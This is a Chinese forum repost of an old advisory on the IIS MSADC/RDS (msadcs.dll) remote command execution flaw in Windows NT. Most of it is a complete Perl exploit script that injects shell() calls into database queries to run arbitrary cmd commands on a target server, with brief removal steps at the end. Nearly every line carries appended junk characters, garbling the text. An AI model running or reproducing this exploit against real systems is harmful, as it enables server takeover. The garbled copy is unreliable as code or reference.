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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 28=L9q   
<:I]0|[  
涉及程序: Fu"@)xw/-q  
Microsoft NT server ;1L7+.A  
*}Nh7 >d(  
描述: !?J?R-C  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 5gbD|^ij  
7oFA5T _  
详细: &~sk7iGi  
如果你没有时间读详细内容的话,就删除: -r@/8"  
c:\Program Files\Common Files\System\Msadc\msadcs.dll P(Z\y^S  
有关的安全问题就没有了。 Ops""#Zi  
A]AM|2 D  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^5 ~)m6=2  
9Lqo^+0)\  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 n%I9l]  
关于利用ODBC远程漏洞的描述,请参看: ~Pi CA  
K])| V  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm X2to](\% X  
-`d(>ok  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 *D;VZs0O  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp \aB"D=P\ok  
6I~{~YvB"  
这里不再论述。 H <ugc  
e3x;(@j  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: F>co#  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset q($fl7}Y  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! eW zyydl  
r!HB""w  
q.69<Rs  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ?&se]\  
KSy.  
#!perl DY!mq91  
# [nG[@)G~0M  
# MSADC/RDS 'usage' (aka exploit) script 4{J'p19  
# A3mSSc6  
# by rain.forest.puppy k80!!S=_>  
# 77o&$l,A|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me uc-Go 6W  
# beta test and find errors! n9r3CLb[  
wVY;)1?  
use Socket; use Getopt::Std; "U%jG`q  
getopts("e:vd:h:XR", \%args); C! J6"j  
~n`G>Oe3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; \|q.M0  
W5a>6u=g,  
if (!defined $args{h} && !defined $args{R}) { X^ZUm  
print qq~ i"U<=~  
Usage: msadc.pl -h <host> { -d <delay> -X -v } XIJ{qrDr  
-h <host> = host you want to scan (ip or domain) P'q . _U  
-d <seconds> = delay between calls, default 1 second `8N],X  
-X = dump Index Server path table, if available <|_b:  
-v = verbose :z}  
-e = external dictionary file for step 5 M}W};~V2ng  
tx{tIw^2;  
Or a -R will resume a command session i=8){G X4  
V0'_PR@;  
~; exit;} LTt| "D  
1$a dX  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; +)7Yqh#$  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ]6 vqgu  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Lmw{ `R  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); w-(^w9_e  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} V;SXa|,  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } x8wal[6  
,1g*0W^  
if (!defined $args{R}){ $ret = &has_msadc; 0A>Fl*  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7+^4v(s  
b1`(f"&l  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <6)  w  
. "cmd /c "; 'hw_ew   
$in=<STDIN>; chomp $in; Pw_[{LL  
$command="cmd /c " . $in ; /]*#+;;%  
MX#MDA-4  
if (defined $args{R}) {&load; exit;} &.t|&8-  
p$A`qx<M_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; hV4\#K[  
&try_btcustmr; M`kR2NCi  
Obm@2;^g6  
print "\nStep 2: Trying to make our own DSN..."; 9p5{,9.3*  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";  zOnQ656  
OY/sCx+c  
print "\nStep 3: Trying known DSNs..."; r` T(xJ!)  
&known_dsn; n\Y|0\ B  
Kzd`|+?'`M  
print "\nStep 4: Trying known .mdbs..."; P"WnU'+  
&known_mdb; #Ua+P(1q  
! B_?_ a  
if (defined $args{e}){ Ck0R%|  
print "\nStep 5: Trying dictionary of DSN names..."; %Pb 5PIk4  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } \4.U.pKY  
Eb<iR)e H=  
print "Sorry Charley...maybe next time?\n"; y`EcBf  
exit; 6T_Mk0Sf+  
uUczD 8y  
############################################################################## -\`n{$OR  
s2@}01QPo  
sub sendraw { # ripped and modded from whisker `[;b#.  
sleep($delay); # it's a DoS on the server! At least on mine... r4~Bn7j2  
my ($pstr)=@_; L:y} L  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Zbp ByRyN  
die("Socket problems\n"); &!{wbm@  
if(connect(S,pack "SnA4x8",2,80,$target)){ m$xyUv1  
select(S); $|=1; y^gazr"  
print $pstr; my @in=<S>; ul e]eRAG  
select(STDOUT); close(S); _F *(" o  
return @in; }V3p <  
} else { die("Can't connect...\n"); }} C'hI{4@P  
L30x2\C  
############################################################################## JqO#W1h~R|  
W.ud<OKP90  
sub make_header { # make the HTTP request _gY so]S^B  
my $msadc=<<EOT WG;1[o&  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 FhZ&^.:  
User-Agent: ACTIVEDATA z+1#p.F$@  
Host: $ip 'A,&9E{%1  
Content-Length: $clen R.R(|!w>  
Connection: Keep-Alive fz W%(.tc\  
2FO.!m  
ADCClientVersion:01.06 _1c'~;  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 u!%]?MSc  
I'o9.B8%#  
--!ADM!ROX!YOUR!WORLD! ? kew[oZ  
Content-Type: application/x-varg 6-#f1D 6  
Content-Length: $reqlen qoMYiF}/e  
DFs J}` $  
EOT uKqN  
; $msadc=~s/\n/\r\n/g; B:tST(  
return $msadc;} -pj&|< h+9  
Mz<4P3"H  
############################################################################## }VE[W  
:x97^.eW~  
sub make_req { # make the RDS request j?6%=KuX<  
my ($switch, $p1, $p2)=@_; !cLX1S  
my $req=""; my $t1, $t2, $query, $dsn; pN&Dpz^  
Nora<  
if ($switch==1){ # this is the btcustmr.mdb query uj&^W[s  
$query="Select * from Customers where City=" . make_shell(); I?"cEp   
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 'r4 j;Jn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 4D[W;4/p  
~,Q+E8  
elsif ($switch==2){ # this is general make table query #HB]qa  
$query="create table AZZ (B int, C varchar(10))"; _p7c<$ ;  
$dsn="$p1";} #:{PAt  
DI9x] CR  
elsif ($switch==3){ # this is general exploit table query m$A|Sx&sG$  
$query="select * from AZZ where C=" . make_shell(); ZSYXUFz  
$dsn="$p1";} npz*4\4  
b}o^ ?NtA  
elsif ($switch==4){ # attempt to hork file info from index server G[6V=G  
$query="select path from scope()"; 52K3N^RgR  
$dsn="Provider=MSIDXS;";} L]kSj$A  
s9qr;}U.`  
elsif ($switch==5){ # bad query 9<P1?Q  
$query="select"; 2M= gpy  
$dsn="$p1";} >mT2g  
KCDEMs}}zM  
$t1= make_unicode($query); $PstThM  
$t2= make_unicode($dsn); J^ryUO o}b  
$req = "\x02\x00\x03\x00"; N4}/n  
$req.= "\x08\x00" . pack ("S1", length($t1)); k%/Z.4vQG  
$req.= "\x00\x00" . $t1 ; +Ld4 e]  
$req.= "\x08\x00" . pack ("S1", length($t2)); a~7`;Ar  
$req.= "\x00\x00" . $t2 ; Cz Jze  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; }Hrm/Ni  
return $req;} {G/4#r 2>  
A/W0O;*q  
############################################################################## d"Hh9O}6  
,F.\z^\{  
sub make_shell { # this makes the shell() statement zy8W8h(?  
return "'|shell(\"$command\")|'";} nv*q N\i'  
F.?^ko9d  
############################################################################## d5\w'@Di  
eFp4MD8?  
sub make_unicode { # quick little function to convert to unicode pqBd#  
my ($in)=@_; my $out; uYhm Fp  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ckBcwIXlP&  
return $out;} ,*Tf9=z  
]P<u^ `{*  
############################################################################## V"#ie Y n  
:xm, Ok  
sub rdo_success { # checks for RDO return success (this is kludge) g a? .7F  
my (@in) = @_; my $base=content_start(@in); >jME == U0  
if($in[$base]=~/multipart\/mixed/){ ux& WN ,  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} vp 1IYW  
return 0;} weU'3nNN  
A|I7R -  
############################################################################## T'  %TMA  
|#LU"D  
sub make_dsn { # this makes a DSN for us :&HrOdz  
my @drives=("c","d","e","f"); G}&B{Ir  
print "\nMaking DSN: "; e]'ui<`  
foreach $drive (@drives) { H? Z5ex  
print "$drive: "; 6FiI\  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !0CC&8C`  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #pErGz'{  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); `6)GjZh^  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; WOrz7x  
return 0 if $2 eq "404"; # not found/doesn't exist Cz-eiPlq  
if($2 eq "200") { x?9rT 0D  
foreach $line (@results) { PF2PMEBx!  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} *R m>bLI  
} return 0;} 75u/'0~5  
mQhI"3! f  
############################################################################## 9i*t3W71]  
a"EX<6"  
sub verify_exists { |77.Lqqy,  
my ($page)=@_; B<u6Z!Pp2  
my @results=sendraw("GET $page HTTP/1.0\n\n"); *8M 0h9S$  
return $results[0];} <kN4@bd;  
/ Of*II&  
############################################################################## J70#pF  
(, /`*GC  
sub try_btcustmr { CH[U.LJQ-O  
my @drives=("c","d","e","f"); =J&vr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 'X d_8.  
s {p-cV  
foreach $dir (@dirs) { W,9. z%  
print "$dir -> "; # fun status so you can see progress $l@nk@  
foreach $drive (@drives) { xeF0^p7Z  
print "$drive: "; # ditto c Owa^;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; RSC^R}a5  
$reqlenlen=length( "$reqlen" ); NGcd  
$clen= 206 + $reqlenlen + $reqlen; SU~t7Ta!G  
P$ZIKkf  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); !K-lO{Z^  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} wmAZ {  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}  $A]2Iw!&  
18f!k  
############################################################################## l\xcR]O  
hO w  
sub odbc_error { S.pL^Ru  
my (@in)=@_; my $base; M{cF14cQ  
my $base = content_start(@in); {+%|n OWV  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this l2vIKc  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dmI~$*  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  +:k Iq  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; b;G3&R]  
return $in[$base+4].$in[$base+5].$in[$base+6];} &TJMopVn  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; cH%qoHgx  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . rp^= vfW  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} bnHQvCO3$  
_<s[HGA`z  
############################################################################## un([3r  
*(wkgn  
sub verbose { }%Mj`Bh  
my ($in)=@_; W^#HR  
return if !$verbose; {9:[nqX  
print STDOUT "\n$in\n";} ;,2i1m0"  
aO8n\'bv  
############################################################################## eB%hP9=:x  
VBnD:w"z  
sub save { }MQNzaXY^  
my ($p1, $p2, $p3, $p4)=@_; fy9mS  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ;e Iqxe>  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; cj K\(b3  
close OUT;} )45~YDS;t  
DEJ0<pnQr  
############################################################################## i!0w? /g9  
LX f r  
sub load { @jh\yjrW  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; K^32nQX  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); QFekj@  
@p=<IN>; close(IN); oKyl2jg+,  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); a(.q=W  
$target= inet_aton($ip) || die("inet_aton problems"); C_> WU   
print "Resuming to $ip ..."; rtM29~c>@  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; X%(1C,C(  
if($p[1]==1) { a|}v?z\  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ZkWX4?&OMt  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; (F=/r] Q  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); [A jY ~  
if (rdo_success(@results)){print "Success!\n";} OVq(ulwi+  
else { print "failed\n"; verbose(odbc_error(@results));}} j(aok5:e  
elsif ($p[1]==3){ lZ,w#sqbY  
if(run_query("$p[3]")){ Z$*m=]2  
print "Success!\n";} else { print "failed\n"; }} UP<B>Y1a  
elsif ($p[1]==4){ GN1Q\8)o  
if(run_query($drvst . "$p[3]")){ =;L44.,g  
print "Success!\n"; } else { print "failed\n"; }} r+%$0eB1^  
exit;} wWYo\WH'  
3M^s EaUI  
############################################################################## \9t/*%:  
ol3].0Vc]  
sub create_table { g9~QNA  
my ($in)=@_; 4De2m iq  
$reqlen=length( make_req(2,$in,"") ) - 28; Dpb prT7_  
$reqlenlen=length( "$reqlen" ); R6m6bsZ`  
$clen= 206 + $reqlenlen + $reqlen; } "QL"%  
my @results=sendraw(make_header() . make_req(2,$in,"")); \d)HwO  
return 1 if rdo_success(@results); tl6x@%\  
my $temp= odbc_error(@results); verbose($temp); O[Yc-4  
return 1 if $temp=~/Table 'AZZ' already exists/; YMG~k3Yb  
return 0;} `; +UWdAR  
99GK6}~TGm  
############################################################################## ptQCqQ1_d  
f7_V ]  
sub known_dsn { *-eDU T|O  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go @@W-]SR  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", OC6v%@xa  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", t) uS7y  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Um~DA  
% <1&\5f<5  
foreach $dSn (@dsns) { 6DuA  
print "."; *";O_ :C!  
next if (!is_access("DSN=$dSn")); wbQs>pc  
if(create_table("DSN=$dSn")){ ){<qp  
print "$dSn successful\n"; cI\&&<>SlG  
if(run_query("DSN=$dSn")){ GR,gCtG+L  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { $!goM~pZ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ]KM3G  
<4:%M  
############################################################################## (`"87Xomnn  
/l` "@  
sub is_access { =3;~7bYO  
my ($in)=@_; R ~?9+  
$reqlen=length( make_req(5,$in,"") ) - 28; Ake$M^Bz  
$reqlenlen=length( "$reqlen" ); \R[f< K%  
$clen= 206 + $reqlenlen + $reqlen; aZ'(ar :  
my @results=sendraw(make_header() . make_req(5,$in,"")); X:JU#sI  
my $temp= odbc_error(@results); 0bfJD'^9RP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); EkpM'j=  
return 0;} Oj1B @QE  
VmON}bb[zz  
############################################################################## GK&R,q5}  
tjJi|  
sub run_query { , Y^GQ`~#  
my ($in)=@_; LMRq.wxbbB  
$reqlen=length( make_req(3,$in,"") ) - 28; J-ErG!  
$reqlenlen=length( "$reqlen" ); `u" )*Q}  
$clen= 206 + $reqlenlen + $reqlen; B-oQjr-  
my @results=sendraw(make_header() . make_req(3,$in,"")); 3Ct)5J  
return 1 if rdo_success(@results); 7v V~O@JP  
my $temp= odbc_error(@results); verbose($temp); }qg.Go  
return 0;} m](q,65 2  
#k t+ )>  
############################################################################## =JE5/  
dO!B=/  
sub known_mdb { 8SN4E  
my @drives=("c","d","e","f","g"); a 9!.e rM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); v[]&yD  
my $dir, $drive, $mdb; -5y=K40  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; h\/T b8  
`s8!zy+  
# this is sparse, because I don't know of many i4\DSQJ  
my @sysmdbs=( "\\catroot\\icatalog.mdb", G O[u  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", _F`RwBOjs  
"\\system32\\certmdb.mdb", X\1.,]O >  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% 8X# \T/U  
Q#PkfjXS  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", AvcN,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", IoCi(N;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", | $D`*  
"\\cfusion\\cfapps\\security\\realm_.mdb", 7g.3)1  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", <"Yx}5n.  
"\\cfusion\\database\\cfexamples.mdb", BM[jF=0  
"\\cfusion\\database\\cfsnippets.mdb", o)+Uyl   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Q tl!f  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 'RpX&g  
"\\cfusion\\brighttiger\\database\\cleam.mdb", y eWB.M~X  
"\\cfusion\\database\\smpolicy.mdb",  zt2#6v  
"\\cfusion\\database\cypress.mdb", H{g&yo  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qa,i:T(w  
"\\website\\cgi-win\\dbsample.mdb", #@:GLmD%  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", j4+kL4M@H  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" xeW}`i5_w  
); #these are just evlz R/  
foreach $drive (@drives) { uF\ ;m.  
foreach $dir (@dirs){ XXy &1C  
foreach $mdb (@sysmdbs) { 64l(ru<  
print "."; ;uaZp.<um&  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ O0QK `F/)*  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 4||dc}I"E  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ J_d!` Hhe  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 8B;HMD  
} else { print "Something's borked. Use verbose next time\n"; }}}}} )|B3TjH C  
kqZ+e/o>O9  
foreach $drive (@drives) { p9gX$-!pbG  
foreach $mdb (@mdbs) { \*\)zj*r  
print "."; W+BHt{  
if(create_table($drv . $drive . $dir . $mdb)){ Fjw+D1q.  
print "\n" . $drive . $dir . $mdb . " successful\n"; Y(R .e7]  
if(run_query($drv . $drive . $dir . $mdb)){ !h>aP4ofT  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; sEx`9_oZ  
} else { print "Something's borked. Use verbose next time\n"; }}}} <nJ8%aY,  
} %Wa. 2s  
_$m1?DZ  
############################################################################## =-;J2Qlg6  
L+Q.y~  
sub hork_idx { c4iGtW  
print "\nAttempting to dump Index Server tables...\n"; c52S2f7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; :tT6V(-W  
$reqlen=length( make_req(4,"","") ) - 28; h[oI/X  
$reqlenlen=length( "$reqlen" ); VH6J @m  
$clen= 206 + $reqlenlen + $reqlen; jbTsrj"g  
my @results=sendraw2(make_header() . make_req(4,"","")); OFn#C!  
if (rdo_success(@results)){ wqA7_ -  
my $max=@results; my $c; my %d; tB<|7  
for($c=19; $c<$max; $c++){ .iZo/_  
$results[$c]=~s/\x00//g; en-HX3'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; gJ?Vk<hp  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; M"E7= J  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5?-@}PL!Y  
$d{"$1$2"}="";} {xCqz0  
foreach $c (keys %d){ print "$c\n"; } G'(8/os{  
} else {print "Index server doesn't seem to be installed.\n"; }} HBcL1wfS  
0l2@3}e  
############################################################################## %Iv*u sXP  
,o s M|!,  
sub dsn_dict { DgKe!w$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6Jd.Eg ~A7  
while(<IN>){ 17+2`@vJgM  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; \pVWYx  
next if (!is_access("DSN=$dSn")); yc.9CTxx  
if(create_table("DSN=$dSn")){ 18o5Gs;yx  
print "$dSn successful\n"; 'L8B"5|>  
if(run_query("DSN=$dSn")){ /7uA f{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { a G\  
print "Something's borked. Use verbose next time\n";}}} L[O.]2  
print "\n"; close(IN);} -HUlB|Q8r  
zA*I=3E(  
############################################################################## 3oMhsQz~z  
;}4^WzmK^(  
sub sendraw2 { # ripped and modded from whisker Qb?e A  
sleep($delay); # it's a DoS on the server! At least on mine... .{4U]a;[  
my ($pstr)=@_; 1Y{pf]5Wx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || E @7);i5K  
die("Socket problems\n"); ]OLe&VRix  
if(connect(S,pack "SnA4x8",2,80,$target)){ @h!nVf%fe  
print "Connected. Getting data"; Og<nnq  
open(OUT,">raw.out"); my @in; /eY}0q%  
select(S); $|=1; print $pstr; nP#|JRn=  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} L<0eIw  
close(OUT); select(STDOUT); close(S); return @in; Mh8s@g  
} else { die("Can't connect...\n"); }} 67A g.f6-  
}$Z0v`  
############################################################################## (X~JTH:e/  
z65Q"A  
sub content_start { # this will take in the server headers vY2^*3\<D  
my (@in)=@_; my $c; 69$gPY'3  
for ($c=1;$c<500;$c++) { =p>IP"HJ  
if($in[$c] =~/^\x0d\x0a/){ `} S; _g!  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } H,0Io  
else { return $c+1; }}} Xsd+5="{N  
return -1;} # it should never get here actually u:M)JG  
T[ltOQw?Y  
############################################################################## PAS0 D #  
u_jhmKr~  
sub funky { 4#lOAzDtv  
my (@in)=@_; my $error=odbc_error(@in); aM|;3j1p  
if($error=~/ADO could not find the specified provider/){ +\U#:gmw  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Z!2%{HQ=q  
exit;} H& !?c5  
if($error=~/A Handler is required/){ =pd#U  
print "\nServer has custom handler filters (they most likely are patched)\n";  giORc  
exit;} Q|(G -  
if($error=~/specified Handler has denied Access/){ m#`1.5%  
print "\nServer has custom handler filters (they most likely are patched)\n"; x@? YS  
exit;}} =H;F{J "  
^!rAT1(/_  
############################################################################## #}S<O_  
R?iC"s!  
sub has_msadc { T.pc3+B8N  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); THY=8&x)  
my $base=content_start(@results); s5J?,xu  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); GGez!?E%  
return 0;} 4~~G i`XE  
1Uk Gjw1J  
######################## D|D) 782  
>b2wFo/em  
7~!F3WT{  
解决方案: &NH[b1NMr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 'g:.&4x_w  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 p(. z#o#  
65U&P5W  
拿出来充数 哈哈
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